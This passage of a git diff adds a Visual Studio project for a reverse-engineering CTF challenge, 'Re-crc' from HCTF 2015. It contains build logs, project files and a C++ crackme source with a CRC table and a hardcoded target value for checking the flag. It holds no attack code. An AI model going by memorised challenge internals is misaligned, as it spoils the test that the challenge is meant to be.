@@ -0,0 +1 @@
+��
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Debug/link-cvtres.write.1.tlog b/Re-crc/Win32Project2/Debug/link-cvtres.write.1.tlog
new file mode 100644
index 0000000..46b134b
--- /dev/null
+++ b/Re-crc/Win32Project2/Debug/link-cvtres.write.1.tlog
@@ -0,0 +1 @@
+��
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Debug/link-rc.read.1.tlog b/Re-crc/Win32Project2/Debug/link-rc.read.1.tlog
new file mode 100644
index 0000000..46b134b
--- /dev/null
+++ b/Re-crc/Win32Project2/Debug/link-rc.read.1.tlog
@@ -0,0 +1 @@
+��
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Debug/link-rc.write.1.tlog b/Re-crc/Win32Project2/Debug/link-rc.write.1.tlog
new file mode 100644
index 0000000..46b134b
--- /dev/null
+++ b/Re-crc/Win32Project2/Debug/link-rc.write.1.tlog
@@ -0,0 +1 @@
+��
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Debug/link.command.1.tlog b/Re-crc/Win32Project2/Debug/link.command.1.tlog
new file mode 100644
index 0000000..ec5498e
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/link.command.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/link.read.1.tlog b/Re-crc/Win32Project2/Debug/link.read.1.tlog
new file mode 100644
index 0000000..7526da4
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/link.read.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/link.write.1.tlog b/Re-crc/Win32Project2/Debug/link.write.1.tlog
new file mode 100644
index 0000000..ace310a
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/link.write.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/rc.command.1.tlog b/Re-crc/Win32Project2/Debug/rc.command.1.tlog
new file mode 100644
index 0000000..a78972e
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/rc.command.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/rc.read.1.tlog b/Re-crc/Win32Project2/Debug/rc.read.1.tlog
new file mode 100644
index 0000000..18c5fc1
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/rc.read.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/rc.write.1.tlog b/Re-crc/Win32Project2/Debug/rc.write.1.tlog
new file mode 100644
index 0000000..efd2b34
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/rc.write.1.tlog differ
diff --git a/Re-crc/Win32Project2/Debug/vc110.idb b/Re-crc/Win32Project2/Debug/vc110.idb
new file mode 100644
index 0000000..f98bcf5
Binary files /dev/null and b/Re-crc/Win32Project2/Debug/vc110.idb differ
diff --git "a/Re-crc/Win32Project2/Debug/\346\272\220.obj" "b/Re-crc/Win32Project2/Debug/\346\272\220.obj"
new file mode 100644
index 0000000..9f27e19
Binary files /dev/null and "b/Re-crc/Win32Project2/Debug/\346\272\220.obj" differ
diff --git a/Re-crc/Win32Project2/Release/CL.read.1.tlog b/Re-crc/Win32Project2/Release/CL.read.1.tlog
new file mode 100644
index 0000000..e58cb70
Binary files /dev/null and b/Re-crc/Win32Project2/Release/CL.read.1.tlog differ
diff --git a/Re-crc/Win32Project2/Release/CL.write.1.tlog b/Re-crc/Win32Project2/Release/CL.write.1.tlog
new file mode 100644
index 0000000..4858e95
Binary files /dev/null and b/Re-crc/Win32Project2/Release/CL.write.1.tlog differ
diff --git a/Re-crc/Win32Project2/Release/Resource.res b/Re-crc/Win32Project2/Release/Resource.res
new file mode 100644
index 0000000..0f36d5e
Binary files /dev/null and b/Re-crc/Win32Project2/Release/Resource.res differ
diff --git a/Re-crc/Win32Project2/Release/Win32Project2.Build.CppClean.log b/Re-crc/Win32Project2/Release/Win32Project2.Build.CppClean.log
new file mode 100644
index 0000000..36136bd
--- /dev/null
+++ b/Re-crc/Win32Project2/Release/Win32Project2.Build.CppClean.log
@@ -0,0 +1,20 @@
+D:\NAMELESS\TEMP\源代码\WIN32PROJECT2\RELEASE\源.OBJ
+D:\NAMELESS\TEMP\源代码\WIN32PROJECT2\RELEASE\VC110.PDB
+D:\NAMELESS\TEMP\源代码\WIN32PROJECT2\RELEASE\RESOURCE.RES
+D:\nameless\temp\源代码\Win32Project2\Release\源.obj
+D:\nameless\temp\源代码\Win32Project2\Release\cl.command.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\CL.read.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\CL.write.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\link-cvtres.read.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\link-cvtres.write.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\link-rc.read.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\link-rc.write.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\link.command.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\link.read.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\link.write.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\rc.command.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\rc.read.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\rc.write.1.tlog
+D:\nameless\temp\源代码\Win32Project2\Release\Resource.res
+D:\nameless\temp\源代码\Win32Project2\Release\vc110.pdb
+D:\nameless\temp\源代码\Release\Win32Project2.pdb
diff --git a/Re-crc/Win32Project2/Release/Win32Project2.lastbuildstate b/Re-crc/Win32Project2/Release/Win32Project2.lastbuildstate
new file mode 100644
index 0000000..466b92e
--- /dev/null
+++ b/Re-crc/Win32Project2/Release/Win32Project2.lastbuildstate
@@ -0,0 +1,2 @@
+#v4.0:v110:false
+Release|Win32|D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\|
diff --git a/Re-crc/Win32Project2/Release/Win32Project2.log b/Re-crc/Win32Project2/Release/Win32Project2.log
new file mode 100644
index 0000000..7b685d7
--- /dev/null
+++ b/Re-crc/Win32Project2/Release/Win32Project2.log
@@ -0,0 +1,18 @@
+生成启动时间为 2015/12/8 19:51:10。
+     1>项目“D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Win32Project2\Win32Project2.vcxproj”在节点 2 上(Build 个目标)。
+     1>ClCompile:
+         D:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\bin\CL.exe /c /Zi /nologo /W3 /WX- /Ox /Oi /Oy- /GL /D WIN32 /D NDEBUG /D _WINDOWS /D _MBCS /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Release\\" /Fd"Release\vc110.pdb" /Gd /TP /analyze- /errorReport:prompt "源.cpp"
+         源.cpp
+       ResourceCompile:
+         C:\Program Files (x86)\Windows Kits\8.0\bin\x86\rc.exe /l"0x0409" /nologo /fo"Release\Resource.res" Resource.rc 
+       Link:
+         D:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Release\Win32Project2.exe" /INCREMENTAL:NO /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG /PDB:"D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Release\Win32Project2.pdb" /SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /LTCG /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Release\Win32Project2.lib" /MACHINE:X86 /SAFESEH Release\Resource.res
+         "Release\源.obj"
+         正在生成代码
+         已完成代码的生成
+         Win32Project2.vcxproj -> D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Release\Win32Project2.exe
+     1>已完成生成项目“D:\nameless\hctf2015\hctf2015-all-problems\Re-crc\Win32Project2\Win32Project2.vcxproj”(Build 个目标)的操作。
+
+生成成功。
+
+已用时间 00:00:02.09
diff --git a/Re-crc/Win32Project2/Release/cl.command.1.tlog b/Re-crc/Win32Project2/Release/cl.command.1.tlog
new file mode 100644
index 0000000..de4d15b
Binary files /dev/null and b/Re-crc/Win32Project2/Release/cl.command.1.tlog differ
diff --git a/Re-crc/Win32Project2/Release/link-cvtres.read.1.tlog b/Re-crc/Win32Project2/Release/link-cvtres.read.1.tlog
new file mode 100644
index 0000000..46b134b
--- /dev/null
+++ b/Re-crc/Win32Project2/Release/link-cvtres.read.1.tlog
@@ -0,0 +1 @@
+��
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Release/link-cvtres.write.1.tlog b/Re-crc/Win32Project2/Release/link-cvtres.write.1.tlog
new file mode 100644
index 0000000..46b134b
--- /dev/null
+++ b/Re-crc/Win32Project2/Release/link-cvtres.write.1.tlog
@@ -0,0 +1 @@
+��
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Release/link-rc.read.1.tlog b/Re-crc/Win32Project2/Release/link-rc.read.1.tlog
new file mode 100644
index 0000000..46b134b
--- /dev/null
+++ b/Re-crc/Win32Project2/Release/link-rc.read.1.tlog
@@ -0,0 +1 @@
+��
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Release/link-rc.write.1.tlog b/Re-crc/Win32Project2/Release/link-rc.write.1.tlog
new file mode 100644
index 0000000..46b134b
--- /dev/null
+++ b/Re-crc/Win32Project2/Release/link-rc.write.1.tlog
@@ -0,0 +1 @@
+��
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Release/link.command.1.tlog b/Re-crc/Win32Project2/Release/link.command.1.tlog
new file mode 100644
index 0000000..28d71a5
Binary files /dev/null and b/Re-crc/Win32Project2/Release/link.command.1.tlog differ
diff --git a/Re-crc/Win32Project2/Release/link.read.1.tlog b/Re-crc/Win32Project2/Release/link.read.1.tlog
new file mode 100644
index 0000000..0eccf41
Binary files /dev/null and b/Re-crc/Win32Project2/Release/link.read.1.tlog differ
diff --git a/Re-crc/Win32Project2/Release/link.write.1.tlog b/Re-crc/Win32Project2/Release/link.write.1.tlog
new file mode 100644
index 0000000..cf62c4a
Binary files /dev/null and b/Re-crc/Win32Project2/Release/link.write.1.tlog differ
diff --git a/Re-crc/Win32Project2/Release/rc.command.1.tlog b/Re-crc/Win32Project2/Release/rc.command.1.tlog
new file mode 100644
index 0000000..98755d4
Binary files /dev/null and b/Re-crc/Win32Project2/Release/rc.command.1.tlog differ
diff --git a/Re-crc/Win32Project2/Release/rc.read.1.tlog b/Re-crc/Win32Project2/Release/rc.read.1.tlog
new file mode 100644
index 0000000..f9f895f
Binary files /dev/null and b/Re-crc/Win32Project2/Release/rc.read.1.tlog differ
diff --git a/Re-crc/Win32Project2/Release/rc.write.1.tlog b/Re-crc/Win32Project2/Release/rc.write.1.tlog
new file mode 100644
index 0000000..84f16d6
Binary files /dev/null and b/Re-crc/Win32Project2/Release/rc.write.1.tlog differ
diff --git "a/Re-crc/Win32Project2/Release/\346\272\220.obj" "b/Re-crc/Win32Project2/Release/\346\272\220.obj"
new file mode 100644
index 0000000..6b3a390
Binary files /dev/null and "b/Re-crc/Win32Project2/Release/\346\272\220.obj" differ
diff --git a/Re-crc/Win32Project2/Resource.aps b/Re-crc/Win32Project2/Resource.aps
new file mode 100644
index 0000000..cccada0
Binary files /dev/null and b/Re-crc/Win32Project2/Resource.aps differ
diff --git a/Re-crc/Win32Project2/Resource.rc b/Re-crc/Win32Project2/Resource.rc
new file mode 100644
index 0000000..13a78df
Binary files /dev/null and b/Re-crc/Win32Project2/Resource.rc differ
diff --git a/Re-crc/Win32Project2/Win32Project2.vcxproj b/Re-crc/Win32Project2/Win32Project2.vcxproj
new file mode 100644
index 0000000..79b2685
--- /dev/null
+++ b/Re-crc/Win32Project2/Win32Project2.vcxproj
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{4056368E-EFA0-4A0B-90FC-85F2175775A9}</ProjectGuid>
+    <Keyword>Win32Proj</Keyword>
+    <RootNamespace>Win32Project2</RootNamespace>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v110</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <Optimization>Full</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="源.cpp" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="resource.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="Resource.rc" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Win32Project2.vcxproj.filters b/Re-crc/Win32Project2/Win32Project2.vcxproj.filters
new file mode 100644
index 0000000..8ab9acd
--- /dev/null
+++ b/Re-crc/Win32Project2/Win32Project2.vcxproj.filters
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="源文件">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="头文件">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
+    </Filter>
+    <Filter Include="资源文件">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="源.cpp">
+      <Filter>源文件</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="resource.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="Resource.rc">
+      <Filter>资源文件</Filter>
+    </ResourceCompile>
+  </ItemGroup>
+</Project>
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/Win32Project2.vcxproj.user b/Re-crc/Win32Project2/Win32Project2.vcxproj.user
new file mode 100644
index 0000000..a375ae3
--- /dev/null
+++ b/Re-crc/Win32Project2/Win32Project2.vcxproj.user
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>
\ No newline at end of file
diff --git a/Re-crc/Win32Project2/resource.h b/Re-crc/Win32Project2/resource.h
new file mode 100644
index 0000000..7e55157
Binary files /dev/null and b/Re-crc/Win32Project2/resource.h differ
diff --git "a/Re-crc/Win32Project2/\346\272\220.cpp" "b/Re-crc/Win32Project2/\346\272\220.cpp"
new file mode 100644
index 0000000..aa2c654
--- /dev/null
+++ "b/Re-crc/Win32Project2/\346\272\220.cpp"
@@ -0,0 +1,186 @@
+#include <Windows.h>
+#include <stdio.h>
+#include "resource.h"
+#include <stdlib.h>
+#include <string.h>
+
+
+/*-------------------------------------------------------------*/
+/* �����ӳ�����ȫ�ֱ���������                                  */
+/*-------------------------------------------------------------*/
+HINSTANCE hInst;
+#define MAXINPUTLEN 30
+
+unsigned int crc_table[256 * 2] = {
+0x00000000,0x00000000,0x77073096,0xf26b8303,0xee0e612c,0xe13b70f7,0x990951ba,0x1350f3f4,0x076dc419,0xc79a971f,0x706af48f,0x35f1141c,0xe963a535,0x26a1e7e8,0x9e6495a3,0xd4ca64eb,
+0x0edb8832,0x8ad958cf,0x79dcb8a4,0x78b2dbcc,0xe0d5e91e,0x6be22838,0x97d2d988,0x9989ab3b,0x09b64c2b,0x4d43cfd0,0x7eb17cbd,0xbf284cd3,0xe7b82d07,0xac78bf27,0x90bf1d91,0x5e133c24,
+0x1db71064,0x105ec76f,0x6ab020f2,0xe235446c,0xf3b97148,0xf165b798,0x84be41de,0x030e349b,0x1adad47d,0xd7c45070,0x6ddde4eb,0x25afd373,0xf4d4b551,0x36ff2087,0x83d385c7,0xc494a384,
+0x136c9856,0x9a879fa0,0x646ba8c0,0x68ec1ca3,0xfd62f97a,0x7bbcef57,0x8a65c9ec,0x89d76c54,0x14015c4f,0x5d1d08bf,0x63066cd9,0xaf768bbc,0xfa0f3d63,0xbc267848,0x8d080df5,0x4e4dfb4b,
+0x3b6e20c8,0x20bd8ede,0x4c69105e,0xd2d60ddd,0xd56041e4,0xc186fe29,0xa2677172,0x33ed7d2a,0x3c03e4d1,0xe72719c1,0x4b04d447,0x154c9ac2,0xd20d85fd,0x061c6936,0xa50ab56b,0xf477ea35,
+0x35b5a8fa,0xaa64d611,0x42b2986c,0x580f5512,0xdbbbc9d6,0x4b5fa6e6,0xacbcf940,0xb93425e5,0x32d86ce3,0x6dfe410e,0x45df5c75,0x9f95c20d,0xdcd60dcf,0x8cc531f9,0xabd13d59,0x7eaeb2fa,
+0x26d930ac,0x30e349b1,0x51de003a,0xc288cab2,0xc8d75180,0xd1d83946,0xbfd06116,0x23b3ba45,0x21b4f4b5,0xf779deae,0x56b3c423,0x05125dad,0xcfba9599,0x1642ae59,0xb8bda50f,0xe4292d5a,
+0x2802b89e,0xba3a117e,0x5f058808,0x4851927d,0xc60cd9b2,0x5b016189,0xb10be924,0xa96ae28a,0x2f6f7c87,0x7da08661,0x58684c11,0x8fcb0562,0xc1611dab,0x9c9bf696,0xb6662d3d,0x6ef07595,
+0x76dc4190,0x417b1dbc,0x01db7106,0xb3109ebf,0x98d220bc,0xa0406d4b,0xefd5102a,0x522bee48,0x71b18589,0x86e18aa3,0x06b6b51f,0x748a09a0,0x9fbfe4a5,0x67dafa54,0xe8b8d433,0x95b17957,
+0x7807c9a2,0xcba24573,0x0f00f934,0x39c9c670,0x9609a88e,0x2a993584,0xe10e9818,0xd8f2b687,0x7f6a0dbb,0x0c38d26c,0x086d3d2d,0xfe53516f,0x91646c97,0xed03a29b,0xe6635c01,0x1f682198,
+0x6b6b51f4,0x5125dad3,0x1c6c6162,0xa34e59d0,0x856530d8,0xb01eaa24,0xf262004e,0x42752927,0x6c0695ed,0x96bf4dcc,0x1b01a57b,0x64d4cecf,0x8208f4c1,0x77843d3b,0xf50fc457,0x85efbe38,
+0x65b0d9c6,0xdbfc821c,0x12b7e950,0x2997011f,0x8bbeb8ea,0x3ac7f2eb,0xfcb9887c,0xc8ac71e8,0x62dd1ddf,0x1c661503,0x15da2d49,0xee0d9600,0x8cd37cf3,0xfd5d65f4,0xfbd44c65,0x0f36e6f7,
+0x4db26158,0x61c69362,0x3ab551ce,0x93ad1061,0xa3bc0074,0x80fde395,0xd4bb30e2,0x72966096,0x4adfa541,0xa65c047d,0x3dd895d7,0x5437877e,0xa4d1c46d,0x4767748a,0xd3d6f4fb,0xb50cf789,
+0x4369e96a,0xeb1fcbad,0x346ed9fc,0x197448ae,0xad678846,0x0a24bb5a,0xda60b8d0,0xf84f3859,0x44042d73,0x2c855cb2,0x33031de5,0xdeeedfb1,0xaa0a4c5f,0xcdbe2c45,0xdd0d7cc9,0x3fd5af46,
+0x5005713c,0x7198540d,0x270241aa,0x83f3d70e,0xbe0b1010,0x90a324fa,0xc90c2086,0x62c8a7f9,0x5768b525,0xb602c312,0x206f85b3,0x44694011,0xb966d409,0x5739b3e5,0xce61e49f,0xa55230e6,
+0x5edef90e,0xfb410cc2,0x29d9c998,0x092a8fc1,0xb0d09822,0x1a7a7c35,0xc7d7a8b4,0xe811ff36,0x59b33d17,0x3cdb9bdd,0x2eb40d81,0xceb018de,0xb7bd5c3b,0xdde0eb2a,0xc0ba6cad,0x2f8b6829,
+0xedb88320,0x82f63b78,0x9abfb3b6,0x709db87b,0x03b6e20c,0x63cd4b8f,0x74b1d29a,0x91a6c88c,0xead54739,0x456cac67,0x9dd277af,0xb7072f64,0x04db2615,0xa457dc90,0x73dc1683,0x563c5f93,
+0xe3630b12,0x082f63b7,0x94643b84,0xfa44e0b4,0x0d6d6a3e,0xe9141340,0x7a6a5aa8,0x1b7f9043,0xe40ecf0b,0xcfb5f4a8,0x9309ff9d,0x3dde77ab,0x0a00ae27,0x2e8e845f,0x7d079eb1,0xdce5075c,
+0xf00f9344,0x92a8fc17,0x8708a3d2,0x60c37f14,0x1e01f268,0x73938ce0,0x6906c2fe,0x81f80fe3,0xf762575d,0x55326b08,0x806567cb,0xa759e80b,0x196c3671,0xb4091bff,0x6e6b06e7,0x466298fc,
+0xfed41b76,0x1871a4d8,0x89d32be0,0xea1a27db,0x10da7a5a,0xf94ad42f,0x67dd4acc,0x0b21572c,0xf9b9df6f,0xdfeb33c7,0x8ebeeff9,0x2d80b0c4,0x17b7be43,0x3ed04330,0x60b08ed5,0xccbbc033,
+0xd6d6a3e8,0xa24bb5a6,0xa1d1937e,0x502036a5,0x38d8c2c4,0x4370c551,0x4fdff252,0xb11b4652,0xd1bb67f1,0x65d122b9,0xa6bc5767,0x97baa1ba,0x3fb506dd,0x84ea524e,0x48b2364b,0x7681d14d,
+0xd80d2bda,0x2892ed69,0xaf0a1b4c,0xdaf96e6a,0x36034af6,0xc9a99d9e,0x41047a60,0x3bc21e9d,0xdf60efc3,0xef087a76,0xa867df55,0x1d63f975,0x316e8eef,0x0e330a81,0x4669be79,0xfc588982,
+0xcb61b38c,0xb21572c9,0xbc66831a,0x407ef1ca,0x256fd2a0,0x532e023e,0x5268e236,0xa145813d,0xcc0c7795,0x758fe5d6,0xbb0b4703,0x87e466d5,0x220216b9,0x94b49521,0x5505262f,0x66df1622,
+0xc5ba3bbe,0x38cc2a06,0xb2bd0b28,0xcaa7a905,0x2bb45a92,0xd9f75af1,0x5cb36a04,0x2b9cd9f2,0xc2d7ffa7,0xff56bd19,0xb5d0cf31,0x0d3d3e1a,0x2cd99e8b,0x1e6dcdee,0x5bdeae1d,0xec064eed,
+0x9b64c2b0,0xc38d26c4,0xec63f226,0x31e6a5c7,0x756aa39c,0x22b65633,0x026d930a,0xd0ddd530,0x9c0906a9,0x0417b1db,0xeb0e363f,0xf67c32d8,0x72076785,0xe52cc12c,0x05005713,0x1747422f,
+0x95bf4a82,0x49547e0b,0xe2b87a14,0xbb3ffd08,0x7bb12bae,0xa86f0efc,0x0cb61b38,0x5a048dff,0x92d28e9b,0x8ecee914,0xe5d5be0d,0x7ca56a17,0x7cdcefb7,0x6ff599e3,0x0bdbdf21,0x9d9e1ae0,
+0x86d3d2d4,0xd3d3e1ab,0xf1d4e242,0x21b862a8,0x68ddb3f8,0x32e8915c,0x1fda836e,0xc083125f,0x81be16cd,0x144976b4,0xf6b9265b,0xe622f5b7,0x6fb077e1,0xf5720643,0x18b74777,0x07198540,
+0x88085ae6,0x590ab964,0xff0f6a70,0xab613a67,0x66063bca,0xb831c993,0x11010b5c,0x4a5a4a90,0x8f659eff,0x9e902e7b,0xf862ae69,0x6cfbad78,0x616bffd3,0x7fab5e8c,0x166ccf45,0x8dc0dd8f,
+0xa00ae278,0xe330a81a,0xd70dd2ee,0x115b2b19,0x4e048354,0x020bd8ed,0x3903b3c2,0xf0605bee,0xa7672661,0x24aa3f05,0xd06016f7,0xd6c1bc06,0x4969474d,0xc5914ff2,0x3e6e77db,0x37faccf1,
+0xaed16a4a,0x69e9f0d5,0xd9d65adc,0x9b8273d6,0x40df0b66,0x88d28022,0x37d83bf0,0x7ab90321,0xa9bcae53,0xae7367ca,0xdebb9ec5,0x5c18e4c9,0x47b2cf7f,0x4f48173d,0x30b5ffe9,0xbd23943e,
+0xbdbdf21c,0xf36e6f75,0xcabac28a,0x0105ec76,0x53b39330,0x12551f82,0x24b4a3a6,0xe03e9c81,0xbad03605,0x34f4f86a,0xcdd70693,0xc69f7b69,0x54de5729,0xd5cf889d,0x23d967bf,0x27a40b9e,
+0xb3667a2e,0x79b737ba,0xc4614ab8,0x8bdcb4b9,0x5d681b02,0x988c474d,0x2a6f2b94,0x6ae7c44e,0xb40bbe37,0xbe2da0a5,0xc30c8ea1,0x4c4623a6,0x5a05df1b,0x5f16d052,0x2d02ef8d,0xad7d5351};
+long long int  targetCrc = 0xe89ba203ba56c4f9;
+
+
+
+
+/*-------------------------------------------------------------*/
+/*  ��������                                                   */
+/*-------------------------------------------------------------*/
+LRESULT CALLBACK MainDlg(HWND,UINT,WPARAM,LPARAM);
+int encode_string(char* str, unsigned int length, char* stat);
+BOOL CheckFlag(LPTSTR cFlag);
+unsigned long long int Div(unsigned char *Data, int len);
+
+/*-------------------------------------------------------------*/
+/* WinMain �� ����WIN32�ij�������                            */
+/*-------------------------------------------------------------*/
+int WINAPI WinMain  (HINSTANCE hInstance,HINSTANCE hPrevInstance,
+					PSTR szCmdLine,int iCmdShow)
+
+{
+	hInst = hInstance;
+	DialogBoxParam(hInstance,MAKEINTRESOURCE(IDD_DIALOG1),NULL,(DLGPROC)MainDlg,NULL);
+	int a = GetLastError();
+	return 0;
+}
+
+/*-------------------------------------------------------------*/
+/*  MainDlg �� ���Ի�����                                      */
+/*-------------------------------------------------------------*/
+LRESULT CALLBACK MainDlg(HWND hDlg,UINT message,WPARAM wParam,LPARAM lParam)
+{
+	switch (message)
+	{
+	case WM_INITDIALOG:
+		int DlgHeight,DlgWidth,x,y;
+		RECT DlgRect;
+		RECT DesktopRect;
+		HWND hWindow;
+		
+		SendDlgItemMessage(hDlg,IDC_TXT,EM_LIMITTEXT,MAXINPUTLEN,0);
+
+		GetWindowRect(hDlg,&DlgRect);
+		hWindow = GetDesktopWindow();
+		GetWindowRect(hWindow,&DesktopRect);
+
+		DlgHeight = DlgRect.bottom - DlgRect.top;
+		DlgWidth = DlgRect.right - DlgRect.left;
+		x = (DesktopRect.right + DesktopRect.left - DlgWidth)/2;
